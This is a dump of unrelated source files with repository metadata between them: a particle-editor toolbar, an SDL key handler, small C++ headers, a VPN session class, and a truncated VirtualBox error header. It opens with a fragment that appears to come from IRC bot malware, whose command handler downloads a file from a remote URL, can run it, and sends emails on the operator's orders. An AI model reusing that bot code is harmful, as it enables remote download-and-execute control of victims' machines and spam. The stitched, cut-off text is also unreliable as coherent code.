0) { DOWNLOAD dl; strncpy(dl.url, a[s+1], sizeof(dl.url)-1); strncpy(dl.dest, a[s+2], sizeof(dl.dest)-1); dl.update = 0; dl.run = ((a[s+3])?(atoi(a[s+3])):(0)); dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0)); dl.filelen=((a[s+5])?(atoi(a[s+5])):(0)); dl.encrypted=(parameters['e']); dl.sock = sock; strncpy(dl.chan, a[2], sizeof(dl.chan)-1); dl.notice=notice; dl.silent = silent; sprintf(sendbuf, "[DOWNLOAD]: Downloading URL: %s to: %s.", a[s+1], a[s+2]); dl.threadnum = addthread(sendbuf, DOWNLOAD_THREAD, sock); if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) { while(dl.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[DOWNLOAD]: Failed to start transfer thread, error: <%d>.", GetLastError()); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif // commands requiring at least 4 parameters else if (a[s+4] == NULL) return 1; else if (strcmp("email", a[s]) == 0 ) { WORD version = MAKEWORD(1,1); WSADATA wsaData; char server[256], sender_email[256], recp_email[256], subject[256], myBuf[256], BigBuf[1024]; int port, nRet; strcpy(server,a[s+1]); port = atoi(a[s+2]); strcpy(sender_email,a[s+3]); strcpy(recp_email,a[s+4]); strcpy(subject,replacestr(a[s+5],"_"," ")); fWSAStartup(version, &wsaData); LPHOSTENT lpHostEntry; lpHostEntry = fgethostbyname(server); SOCKET MailSocket; MailSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKADDR_IN saServer; saServer.sin_family = AF_INET; saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); saServer.sin_port = fhtons((unsigned short)port); sprintf(BigBuf,"helo $rndnick\nmail from: <%s>\nrcpt to: <%s>\ndata\nsubject: %s\nfrom: %s\n%s\n.\n",sender_email,recp_email,subject,sender_email,subject); nRet = fconnect(MailSocket, (LPSOCKADDR)&saServer, sizeof(saServer)); nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0); nRet = fsend(MailSocket, BigBuf, strlen(myBuf), 0); nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0); fclosesocket(MailSocket); fWSACleanup(); sprintf(sendbuf, "[EMAIL]: Message sent to %s.",recp_email); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } // commands requiring at least 5 parameters else if (a[s+5] == NULL) return 1; } return 1; }
[ "mstr.be832920@gmail.com" ]
mstr.be832920@gmail.com
2534d61edf6d544c783b94082bb0f6997bc3bbf6
4bdb20c69bbc289c491d76179b77fcee4f262f29
/ogsr_engine/editors/ParticleEditor/BottomBar.cpp
aa85d478e443b00670571590386335acd1a59692
[]
no_license
Roman-n/ogsr-engine
1a42e3f378c93c55ca918be171e2feb0ffd50e4c
6b16bf6593bd8a647f7f150e5cf6f80d7474585f
refs/heads/main
2023-02-22T01:38:06.681481
2018-05-02T20:54:55
2018-05-02T20:54:55
332,519,405
0
0
null
null
null
null
UTF-8
C++
false
false
12,428
cpp
//--------------------------------------------------------------------------- #include "stdafx.h" #pragma hdrstop #include "BottomBar.h" #include "LogForm.h" #include "ui_main.h" #include "igame_persistent.h" #include "environment.h" #include "../xrEProps/PropertiesListHelper.h" #include "../xrEProps/PropertiesList.h" //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma link "ExtBtn" #pragma link "MxMenus" #pragma link "mxPlacemnt" #pragma resource "*.dfm" TfraBottomBar *fraBottomBar=0; //--------------------------------------------------------------------------- __fastcall TfraBottomBar::TfraBottomBar(TComponent* Owner) : TFrame(Owner) { DEFINE_INI(fsStorage); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ClickOptionsMenuItem(TObject *Sender) { TMenuItem* mi = dynamic_cast<TMenuItem*>(Sender); if (mi){ mi->Checked = !mi->Checked; if (mi==miDrawGrid) ExecCommand(COMMAND_TOGGLE_GRID); else if (mi==miRenderWithTextures) psDeviceFlags.set(rsRenderTextures,mi->Checked); else if (mi==miMuteSounds) psDeviceFlags.set(rsMuteSounds,mi->Checked); else if (mi==miLightScene) psDeviceFlags.set(rsLighting,mi->Checked); else if (mi==miRenderLinearFilter) psDeviceFlags.set(rsFilterLinear,mi->Checked); else if (mi==miRenderEdgedFaces) psDeviceFlags.set(rsEdgedFaces,mi->Checked); else if (mi==miFog) psDeviceFlags.set(rsFog,mi->Checked); else if (mi==miRealTime) psDeviceFlags.set(rsRenderRealTime,mi->Checked); else if (mi==miDrawSafeRect) ExecCommand(COMMAND_TOGGLE_SAFE_RECT); else if (mi==miRenderFillPoint) Device.dwFillMode = D3DFILL_POINT; else if (mi==miRenderFillWireframe) Device.dwFillMode = D3DFILL_WIREFRAME; else if (mi==miRenderFillSolid) Device.dwFillMode = D3DFILL_SOLID; else if (mi==miRenderShadeFlat) Device.dwShadeMode = D3DSHADE_FLAT; else if (mi==miRenderShadeGouraud) Device.dwShadeMode = D3DSHADE_GOURAUD; else if (mi==miRenderHWTransform){ HW.Caps.bForceGPU_SW = !mi->Checked; UI->Resize(); } } UI->RedrawScene(); ExecCommand(COMMAND_UPDATE_TOOLBAR); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::QualityClick(TObject *Sender) { UI->SetRenderQuality((float)(((TMenuItem*)Sender)->Tag)/100); ((TMenuItem*)Sender)->Checked = true; UI->Resize(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::fsStorageRestorePlacement(TObject *Sender) { // fill mode if (miRenderFillPoint->Checked) Device.dwFillMode=D3DFILL_POINT; else if (miRenderFillWireframe->Checked)Device.dwFillMode=D3DFILL_WIREFRAME; else if (miRenderFillSolid->Checked) Device.dwFillMode=D3DFILL_SOLID; // shade mode if (miRenderShadeFlat->Checked) Device.dwShadeMode=D3DSHADE_FLAT; else if (miRenderShadeGouraud->Checked) Device.dwShadeMode=D3DSHADE_GOURAUD; // hw transform HW.Caps.bForceGPU_SW = !miRenderHWTransform->Checked; // quality if (N200->Checked) QualityClick(N200); else if (N150->Checked) QualityClick(N150); else if (N125->Checked) QualityClick(N125); else if (N100->Checked) QualityClick(N100); else if (N75->Checked) QualityClick(N75); else if (N50->Checked) QualityClick(N50); else if (N25->Checked) QualityClick(N25); // setup menu miWeather->Clear(); TMenuItem* mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "none"; mi->OnClick = miWeatherClick; mi->Tag = -1; mi->Checked = true; mi->RadioItem = true; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); /* // append weathers CEnvironment::EnvsMapIt _I=g_pGamePersistent->Environment().WeatherCycles.begin(); CEnvironment::EnvsMapIt _E=g_pGamePersistent->Environment().WeatherCycles.end(); for (; _I!=_E; _I++){ mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = *_I->first; mi->OnClick = miWeatherClick; mi->RadioItem = true; miWeather->Add (mi); } */ mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Reload"; mi->OnClick = miWeatherClick; mi->Tag = -2; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; miWeather->Add (mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Properties..."; mi->OnClick = miWeatherClick; mi->Tag = -3; miWeather->Add (mi); psDeviceFlags.set (rsEnvironment,FALSE); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebLogClick(TObject *Sender) { TfrmLog::ChangeVisible(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebStopClick(TObject *Sender) { ExecCommand(COMMAND_BREAK_LAST_OPERATION); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebStatClick(TObject *Sender) { psDeviceFlags.set(rsStatistic,!psDeviceFlags.is(rsStatistic)); UI->RedrawScene(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebOptionsMouseDown(TObject *Sender, TMouseButton Button, TShiftState Shift, int X, int Y) { POINT pt; GetCursorPos(&pt); pmOptions->Popup(pt.x,pt.y); TExtBtn* btn = dynamic_cast<TExtBtn*>(Sender); VERIFY(btn); btn->MouseManualUp(); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::pmOptionsPopup(TObject *Sender) { miRenderWithTextures->Checked = psDeviceFlags.is(rsRenderTextures); miLightScene->Checked = psDeviceFlags.is(rsLighting); miMuteSounds->Checked = psDeviceFlags.is(rsMuteSounds); miRenderLinearFilter->Checked = psDeviceFlags.is(rsFilterLinear); miRenderEdgedFaces->Checked = psDeviceFlags.is(rsEdgedFaces); miRealTime->Checked = psDeviceFlags.is(rsRenderRealTime); miFog->Checked = psDeviceFlags.is(rsFog); miDrawGrid->Checked = psDeviceFlags.is(rsDrawGrid); miDrawSafeRect->Checked = psDeviceFlags.is(rsDrawSafeRect); for(int i=0; i < miWeather->Count; ++i) { TMenuItem* mi = miWeather->Items[i]; BOOL bch; bch = ((EPrefs->sWeather.size()) && (0==stricmp(mi->Caption.c_str(), EPrefs->sWeather.c_str()))) || (mi->Caption=="none" && EPrefs->sWeather.size()==0) ; mi->Checked = bch; } } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::miWeatherClick(TObject *Sender) { /* TMenuItem* mi = dynamic_cast<TMenuItem*>(Sender); if (mi){ if (mi->Tag==0){ psDeviceFlags.set (rsEnvironment,TRUE); g_pGamePersistent->Environment().SetWeather(mi->Caption.c_str()); EPrefs->sWeather = mi->Caption.c_str(); mi->Checked = !mi->Checked; }else if (mi->Tag==-1){ psDeviceFlags.set (rsEnvironment,FALSE); g_pGamePersistent->Environment().SetWeather(0); EPrefs->sWeather = ""; mi->Checked = !mi->Checked; }else if (mi->Tag==-2){ Engine.ReloadSettings(); g_pGamePersistent->Environment().ED_Reload(); }else if (mi->Tag==-3){ TProperties* P = TProperties::CreateModalForm("Weather properties"); CEnvironment& env = g_pGamePersistent->Environment(); PropItemVec items; float ft=env.ed_from_time,tt=env.ed_to_time,sp=env.fTimeFactor; PHelper().CreateTime (items,"From Time", &ft); PHelper().CreateTime (items,"To Time", &tt); PHelper().CreateFloat (items,"Speed", &sp, 1.f,10000.f,1.f,1); P->AssignItems (items); if (mrOk==P->ShowPropertiesModal()){ env.ed_from_time = ft; env.ed_to_time = tt; env.fTimeFactor = sp; } TProperties::DestroyForm(P); } } */ } //--------------------------------------------------------------------------- void TfraBottomBar::RedrawBar() { SPBItem* pbi = UI->ProgressLast(); if (pbi){ AnsiString txt; float p,m; pbi->GetInfo(txt,p,m); // status line if (paStatus->Caption!=txt){ paStatus->Caption = txt; paStatus->Repaint (); } // progress int val = fis_zero(m)?0:(int)((p/m)*100); if (val!=cgProgress->Progress){ cgProgress->Progress = val; cgProgress->Repaint (); } if (false==cgProgress->Visible) cgProgress->Visible = true; }else{ if (cgProgress->Visible){ // status line paStatus->Caption = ""; paStatus->Repaint (); // progress cgProgress->Visible = false; cgProgress->Progress = 0; } } } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroAssignClick(TObject *Sender) { ExecCommand(COMMAND_ASSIGN_MACRO,((TMenuItem*)Sender)->Tag,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroClearClick(TObject *Sender) { ExecCommand(COMMAND_ASSIGN_MACRO,((TMenuItem*)Sender)->Tag,xr_string("")); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroExecuteClick(TObject *Sender) { ExecCommand(COMMAND_RUN_MACRO,((TMenuItem*)Sender)->Tag,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroLogCommandsClick(TObject *Sender) { ExecCommand(COMMAND_LOG_COMMANDS,((TMenuItem*)Sender)->Checked,0); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::MacroEditCommandListClick(TObject *Sender) { ExecCommand(COMMAND_EDIT_COMMAND_LIST); } //--------------------------------------------------------------------------- void __fastcall TfraBottomBar::ebMacroMouseDown(TObject *Sender, TMouseButton Button, TShiftState Shift, int X, int Y) { SECommand* CMD = GetEditorCommands()[COMMAND_RUN_MACRO]; VERIFY(CMD); // fill macroses pmMacro->Items->Clear(); TMenuItem* mi; for (u32 k=0; k<CMD->sub_commands.size(); ++k){ SESubCommand* SUB = CMD->sub_commands[k]; BOOL bValid = !xr_string(SUB->p0).empty(); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = AnsiString().sprintf("%d: %s",k+1,bValid?xr_string(SUB->p0).c_str():"<empty>"); TMenuItem* e = xr_new<TMenuItem>((TComponent*)0); e->Caption = "Execute"; e->OnClick = MacroExecuteClick; e->Enabled = bValid; e->Tag = k; e->ShortCut = SUB->shortcut.hotkey; TMenuItem* a = xr_new<TMenuItem>((TComponent*)0); a->Caption = "Assign"; a->OnClick = MacroAssignClick; a->Tag = k; TMenuItem* c = xr_new<TMenuItem>((TComponent*)0); c->Caption = "Clear"; c->OnClick = MacroClearClick; c->Tag = k; mi->Add (e); mi->Add (a); mi->Add (c); pmMacro->Items->Add(mi); } mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "-"; pmMacro->Items->Add(mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Edit Command List..."; mi->OnClick = MacroEditCommandListClick; pmMacro->Items->Add(mi); mi = xr_new<TMenuItem>((TComponent*)0); mi->Caption = "Log Commands"; mi->AutoCheck = true; mi->Checked = AllowLogCommands(); mi->OnClick = MacroLogCommandsClick; pmMacro->Items->Add(mi); // popup menu POINT pt; GetCursorPos (&pt); pmMacro->Popup (pt.x,pt.y); TExtBtn* btn = dynamic_cast<TExtBtn*>(Sender); VERIFY(btn); btn->MouseManualUp(); } //---------------------------------------------------------------------------
[ "kdementev@gmail.com" ]
kdementev@gmail.com
ce9208e84993c360e57fc51b4502b02a16aae0a5
231f7d4eac4634c234eeed5d9a155b187592dd80
/Rhythm-Jumper/Keyhandler.h
0b6818b215536de3cb065c435c32ec04241aa645
[]
no_license
Mike-Wilker/Rhythm-Jumper
1934eb631e1a1f9ee177e93e5c4d41432d5a604d
e313c1dfcd5250248578b456324c3ab7fc7ce412
refs/heads/master
2020-05-06T20:06:09.276679
2019-05-06T16:27:56
2019-05-06T16:27:56
180,218,489
0
0
null
2019-05-06T16:27:57
2019-04-08T19:26:38
C
UTF-8
C++
false
false
634
h
#pragma once class KeyHandler { private: std::list<SDL_Keycode> heldKeys; SDL_mutex* mutex; public: KeyHandler() { mutex = SDL_CreateMutex(); } void pollKeys() { SDL_LockMutex(mutex); SDL_Event event; while (SDL_PollEvent(&event)) { switch (event.type) { case SDL_KEYDOWN: heldKeys.emplace_front(event.key.keysym.sym); break; case SDL_KEYUP: heldKeys.remove(event.key.keysym.sym); break; } } SDL_UnlockMutex(mutex); } std::list<SDL_Keycode> getHeldKeys() { SDL_LockMutex(mutex); SDL_UnlockMutex(mutex); return heldKeys; } ~KeyHandler() { SDL_DestroyMutex(mutex); } };
[ "mwilker@ltu.edu" ]
mwilker@ltu.edu
5ecd14bc9f0bd0dac72fc39e5231d42031efb4b5
22e5a8b7983e1438431e52f198a89c452a3d31cc
/Strings/Strings/stringConvert.h
495552981e5b45e3f88345dc5ea8d00687d02f94
[]
no_license
JuniorSidnei/Strings
4ce0964dd2f9391bfd3fd7e49e06e24ba2c955e6
55b38af158061e354e7137f9593baa289d189e14
refs/heads/master
2021-01-21T08:40:25.846600
2017-05-18T01:57:43
2017-05-18T01:57:43
91,637,423
0
0
null
null
null
null
UTF-8
C++
false
false
197
h
#pragma once #include <iostream> #include <string> class stringConvert { public: stringConvert(); ~stringConvert(); std::string my_expression; void countSpace(std::string expression); };
[ "sidnei.carraro@pucpr.edu.br" ]
sidnei.carraro@pucpr.edu.br
610e3ec04e81c1e22ab29ca34293462d00986fa6
29911ed02983d040acb22501d4638e76773f4b1d
/app/src/main/cpp/session/Session.cpp
b4e00af0a0cad819cf7ccb8a13ace6687b3a9ce5
[]
no_license
XiaoShenOL/EnvProxy
cfa6dadd676c4cf063dc38a1ef8d03855e07af18
e07993f293e87143e562daa3a754db89f69726ee
refs/heads/master
2023-03-17T07:49:07.154929
2018-12-18T12:31:06
2018-12-18T12:31:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,260
cpp
// // Created by Rqg on 24/04/2018. // #include "Session.h" #include "../proxyTypes.h" #include "../transport/TransportHandler.h" Session::Session(SessionInfo *sessionInfo) : next(nullptr), prev(nullptr) { } Session::~Session() { } int Session::onTunDown(SessionInfo *sessionInfo, DataBuffer *downData) { if (next == nullptr) { return onTunUp(sessionInfo, downData); } else { return next->onTunDown(sessionInfo, downData); } } int Session::onTunUp(SessionInfo *sessionInfo, DataBuffer *upData) { if (prev == nullptr) { return sessionInfo->transportHandler->dataToSocket(sessionInfo, upData); } else { return prev->onTunUp(sessionInfo, upData); } } int Session::onSocketDown(SessionInfo *sessionInfo, DataBuffer *downData) { if (next == nullptr) { return onSocketUp(sessionInfo, downData); } else { return next->onSocketDown(sessionInfo, downData); } } int Session::onSocketUp(SessionInfo *sessionInfo, DataBuffer *upData) { if (prev == nullptr) { return sessionInfo->transportHandler->dataToTun(sessionInfo, upData); } else { return prev->onSocketUp(sessionInfo, upData); } } void Session::releaseResource(SessionInfo *sessionInfo) { }
[ "ranqingguo@youzan.com" ]
ranqingguo@youzan.com
478ed5dbdf8833fcd262d9fa1418f371491afcc2
f4401a6d5546c376aaee6035cecedfb17e068e37
/DemoRpg/Rpg/People.h
2fbac39b54991e8a5bc1561a5be500017d5f6397
[]
no_license
AstaraelWeeper/DemoRpg
d4b0825e7df84c218dbef48870f92cb024c07fb8
91b76d18585e23d3dac2861a12584411bdd11d6c
refs/heads/master
2021-01-13T00:55:42.753245
2015-06-08T20:20:35
2015-06-08T20:20:35
36,553,980
0
0
null
null
null
null
UTF-8
C++
false
false
1,225
h
#pragma once #include <SDL.h> class People { public: People(short column, short row); virtual ~People(); virtual int attackCalculation(); virtual void Attack(); void UpdateHealth(int); void Move(int); SDL_Rect GetAssetSheetPosition(); SDL_Rect GetMapPosition(); int GetFacingDirection(); protected: int attackState; int hitChance; //int between 0 and 100 to represent % chance of hitting int maxHealth; int currentHealth; int damage; int facingDirection; //1=left, 2= up, 3 = right, 4 = down SDL_Rect assetSheetPositionLeft; SDL_Rect assetSheetPositionUp; SDL_Rect assetSheetPositionRight; SDL_Rect assetSheetPositionDown; SDL_Rect assetSheetPositionLeftAttack1; SDL_Rect assetSheetPositionUpAttack1; SDL_Rect assetSheetPositionRightAttack1; SDL_Rect assetSheetPositionDownAttack1; SDL_Rect assetSheetPositionLeftAttack2; SDL_Rect assetSheetPositionUpAttack2; SDL_Rect assetSheetPositionRightAttack2; SDL_Rect assetSheetPositionDownAttack2; int mapPositionX; //pixels, not tiles int mapPositionY; //pixels, not tiles SDL_Rect mapPosition; enum KeyPressDirections { KEY_PRESS_SURFACE_DEFAULT, KEY_PRESS_LEFT, KEY_PRESS_UP, KEY_PRESS_RIGHT, KEY_PRESS_DOWN, }; };
[ "thisisrachelalice@hotmail.com" ]
thisisrachelalice@hotmail.com
2596b303c2eb2f44335f7aaa72edeffa503d568f
73b8a44951468d57efcf000c5a23d7d05b2d7600
/include/iprt/err.h
b1215ca9df8f27412e063422f1214733369daab5
[]
no_license
ivanagui2/OpenXTGL
d6bd39437fd4a038cebcecd0049d9bbb36838df4
604df31f318077aadb1adb9bfa7707dc94d32b69
refs/heads/master
2021-06-07T02:22:18.972245
2016-09-29T20:26:38
2016-09-29T20:26:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
105,764
h
/** @file * IPRT - Status Codes. */ /* * Copyright (C) 2006-2015 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. * * The contents of this file may alternatively be used under the terms * of the Common Development and Distribution License Version 1.0 * (CDDL) only, as it comes in the "COPYING.CDDL" file of the * VirtualBox OSE distribution, in which case the provisions of the * CDDL are applicable instead of those of the GPL. * * You may elect to license modified versions of this file under the * terms and conditions of either the GPL or the CDDL or both. */ #ifndef ___iprt_err_h #define ___iprt_err_h #include <iprt/cdefs.h> #include <iprt/types.h> #include <iprt/stdarg.h> /** @defgroup grp_rt_err RTErr - Status Codes * @ingroup grp_rt * * The IPRT status codes are in two ranges: {0..999} and {22000..32766}. The * IPRT users are free to use the range {1000..21999}. See RTERR_RANGE1_FIRST, * RTERR_RANGE1_LAST, RTERR_RANGE2_FIRST, RTERR_RANGE2_LAST, RTERR_USER_FIRST * and RTERR_USER_LAST. * * @{ */ /** @defgroup grp_rt_err_hlp Status Code Helpers * @{ */ #ifdef __cplusplus /** * Strict type validation class. * * This is only really useful for type checking the arguments to RT_SUCCESS, * RT_SUCCESS_NP, RT_FAILURE and RT_FAILURE_NP. The RTErrStrictType2 * constructor is for integration with external status code strictness regimes. */ class RTErrStrictType { protected: int32_t m_rc; public: /** * Constructor for interaction with external status code strictness regimes. * * This is a special constructor for helping external return code validator * classes interact cleanly with RT_SUCCESS, RT_SUCCESS_NP, RT_FAILURE and * RT_FAILURE_NP while barring automatic cast to integer. * * @param rcObj IPRT status code object from an automatic cast. */ RTErrStrictType(RTErrStrictType2 const rcObj) : m_rc(rcObj.getValue()) { } /** * Integer constructor used by RT_SUCCESS_NP. * * @param rc IPRT style status code. */ RTErrStrictType(int32_t rc) : m_rc(rc) { } #if 0 /** @todo figure where int32_t is long instead of int. */ /** * Integer constructor used by RT_SUCCESS_NP. * * @param rc IPRT style status code. */ RTErrStrictType(signed int rc) : m_rc(rc) { } #endif /** * Test for success. */ bool success() const { return m_rc >= 0; } private: /** @name Try ban a number of wrong types. * @{ */ RTErrStrictType(uint8_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint16_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint32_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(uint64_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int8_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int16_t rc) : m_rc(-999) { NOREF(rc); } RTErrStrictType(int64_t rc) : m_rc(-999) { NOREF(rc); } /** @todo fight long here - clashes with int32_t/int64_t on some platforms. */ /** @} */ }; #endif /* __cplusplus */ /** @def RTERR_STRICT_RC * Indicates that RT_SUCCESS_NP, RT_SUCCESS, RT_FAILURE_NP and RT_FAILURE should * make type enforcing at compile time. * * @remarks Only define this for C++ code. */ #if defined(__cplusplus) \ && !defined(RTERR_STRICT_RC) \ && ( defined(DOXYGEN_RUNNING) \ || defined(DEBUG) \ || defined(RT_STRICT) ) # define RTERR_STRICT_RC 1 #endif /** @def RT_SUCCESS * Check for success. We expect success in normal cases, that is the code path depending on * this check is normally taken. To prevent any prediction use RT_SUCCESS_NP instead. * * @returns true if rc indicates success. * @returns false if rc indicates failure. * * @param rc The iprt status code to test. */ #define RT_SUCCESS(rc) ( RT_LIKELY(RT_SUCCESS_NP(rc)) ) /** @def RT_SUCCESS_NP * Check for success. Don't predict the result. * * @returns true if rc indicates success. * @returns false if rc indicates failure. * * @param rc The iprt status code to test. */ #ifdef RTERR_STRICT_RC # define RT_SUCCESS_NP(rc) ( RTErrStrictType(rc).success() ) #else # define RT_SUCCESS_NP(rc) ( (int)(rc) >= VINF_SUCCESS ) #endif /** @def RT_FAILURE * Check for failure. We don't expect in normal cases, that is the code path depending on * this check is normally NOT taken. To prevent any prediction use RT_FAILURE_NP instead. * * @returns true if rc indicates failure. * @returns false if rc indicates success. * * @param rc The iprt status code to test. */ #define RT_FAILURE(rc) ( RT_UNLIKELY(!RT_SUCCESS_NP(rc)) ) /** @def RT_FAILURE_NP * Check for failure. Don't predict the result. * * @returns true if rc indicates failure. * @returns false if rc indicates success. * * @param rc The iprt status code to test. */ #define RT_FAILURE_NP(rc) ( !RT_SUCCESS_NP(rc) ) RT_C_DECLS_BEGIN /** * Converts a Darwin HRESULT error to an iprt status code. * * @returns iprt status code. * @param iNativeCode HRESULT error code. * @remark Darwin ring-3 only. */ RTDECL(int) RTErrConvertFromDarwinCOM(int32_t iNativeCode); /** * Converts a Darwin IOReturn error to an iprt status code. * * @returns iprt status code. * @param iNativeCode IOReturn error code. * @remark Darwin only. */ RTDECL(int) RTErrConvertFromDarwinIO(int iNativeCode); /** * Converts a Darwin kern_return_t error to an iprt status code. * * @returns iprt status code. * @param iNativeCode kern_return_t error code. * @remark Darwin only. */ RTDECL(int) RTErrConvertFromDarwinKern(int iNativeCode); /** * Converts a Darwin error to an iprt status code. * * This will consult RTErrConvertFromDarwinKern, RTErrConvertFromDarwinIO * and RTErrConvertFromDarwinCOM in this order. The latter is ring-3 only as it * doesn't apply elsewhere. * * @returns iprt status code. * @param iNativeCode Darwin error code. * @remarks Darwin only. * @remarks This is recommended over RTErrConvertFromDarwinKern and RTErrConvertFromDarwinIO * since these are really just subsets of the same error space. */ RTDECL(int) RTErrConvertFromDarwin(int iNativeCode); /** * Converts errno to iprt status code. * * @returns iprt status code. * @param uNativeCode errno code. */ RTDECL(int) RTErrConvertFromErrno(unsigned uNativeCode); /** * Converts a L4 errno to a iprt status code. * * @returns iprt status code. * @param uNativeCode l4 errno. * @remark L4 only. */ RTDECL(int) RTErrConvertFromL4Errno(unsigned uNativeCode); /** * Converts NT status code to iprt status code. * * Needless to say, this is only available on NT and winXX targets. * * @returns iprt status code. * @param lNativeCode NT status code. * @remark Windows only. */ RTDECL(int) RTErrConvertFromNtStatus(long lNativeCode); /** * Converts OS/2 error code to iprt status code. * * @returns iprt status code. * @param uNativeCode OS/2 error code. * @remark OS/2 only. */ RTDECL(int) RTErrConvertFromOS2(unsigned uNativeCode); /** * Converts Win32 error code to iprt status code. * * @returns iprt status code. * @param uNativeCode Win32 error code. * @remark Windows only. */ RTDECL(int) RTErrConvertFromWin32(unsigned uNativeCode); /** * Converts an iprt status code to a errno status code. * * @returns errno status code. * @param iErr iprt status code. */ RTDECL(int) RTErrConvertToErrno(int iErr); #ifdef IN_RING3 /** * iprt status code message. */ typedef struct RTSTATUSMSG { /** Pointer to the short message string. */ const char *pszMsgShort; /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Status code number. */ int iCode; } RTSTATUSMSG; /** Pointer to iprt status code message. */ typedef RTSTATUSMSG *PRTSTATUSMSG; /** Pointer to const iprt status code message. */ typedef const RTSTATUSMSG *PCRTSTATUSMSG; /** * Get the message structure corresponding to a given iprt status code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTSTATUSMSG) RTErrGet(int rc); /** * Get the define corresponding to a given iprt status code. * * @returns Pointer to read-only string with the \#define identifier. * @param rc The status code. */ #define RTErrGetDefine(rc) (RTErrGet(rc)->pszDefine) /** * Get the short description corresponding to a given iprt status code. * * @returns Pointer to read-only string with the description. * @param rc The status code. */ #define RTErrGetShort(rc) (RTErrGet(rc)->pszMsgShort) /** * Get the full description corresponding to a given iprt status code. * * @returns Pointer to read-only string with the description. * @param rc The status code. */ #define RTErrGetFull(rc) (RTErrGet(rc)->pszMsgFull) #ifdef RT_OS_WINDOWS /** * Windows error code message. */ typedef struct RTWINERRMSG { /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Error code number. */ long iCode; } RTWINERRMSG; /** Pointer to Windows error code message. */ typedef RTWINERRMSG *PRTWINERRMSG; /** Pointer to const Windows error code message. */ typedef const RTWINERRMSG *PCRTWINERRMSG; /** * Get the message structure corresponding to a given Windows error code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTWINERRMSG) RTErrWinGet(long rc); /** On windows COM errors are part of the Windows error database. */ typedef RTWINERRMSG RTCOMERRMSG; #else /* !RT_OS_WINDOWS */ /** * COM/XPCOM error code message. */ typedef struct RTCOMERRMSG { /** Pointer to the full message string. */ const char *pszMsgFull; /** Pointer to the define string. */ const char *pszDefine; /** Error code number. */ uint32_t iCode; } RTCOMERRMSG; #endif /* !RT_OS_WINDOWS */ /** Pointer to a XPCOM/COM error code message. */ typedef RTCOMERRMSG *PRTCOMERRMSG; /** Pointer to const a XPCOM/COM error code message. */ typedef const RTCOMERRMSG *PCRTCOMERRMSG; /** * Get the message structure corresponding to a given COM/XPCOM error code. * * @returns Pointer to read-only message description. * @param rc The status code. */ RTDECL(PCRTCOMERRMSG) RTErrCOMGet(uint32_t rc); #endif /* IN_RING3 */ /** @defgroup RTERRINFO_FLAGS_XXX RTERRINFO::fFlags * @{ */ /** Custom structure (the default). */ #define RTERRINFO_FLAGS_T_CUSTOM UINT32_C(0) /** Static structure (RTERRINFOSTATIC). */ #define RTERRINFO_FLAGS_T_STATIC UINT32_C(1) /** Allocated structure (RTErrInfoAlloc). */ #define RTERRINFO_FLAGS_T_ALLOC UINT32_C(2) /** Reserved type. */ #define RTERRINFO_FLAGS_T_RESERVED UINT32_C(3) /** Type mask. */ #define RTERRINFO_FLAGS_T_MASK UINT32_C(3) /** Error info is set. */ #define RTERRINFO_FLAGS_SET RT_BIT_32(2) /** Fixed flags (magic). */ #define RTERRINFO_FLAGS_MAGIC UINT32_C(0xbabe0000) /** The bit mask for the magic value. */ #define RTERRINFO_FLAGS_MAGIC_MASK UINT32_C(0xffff0000) /** @} */ /** * Initializes an error info structure. * * @returns @a pErrInfo. * @param 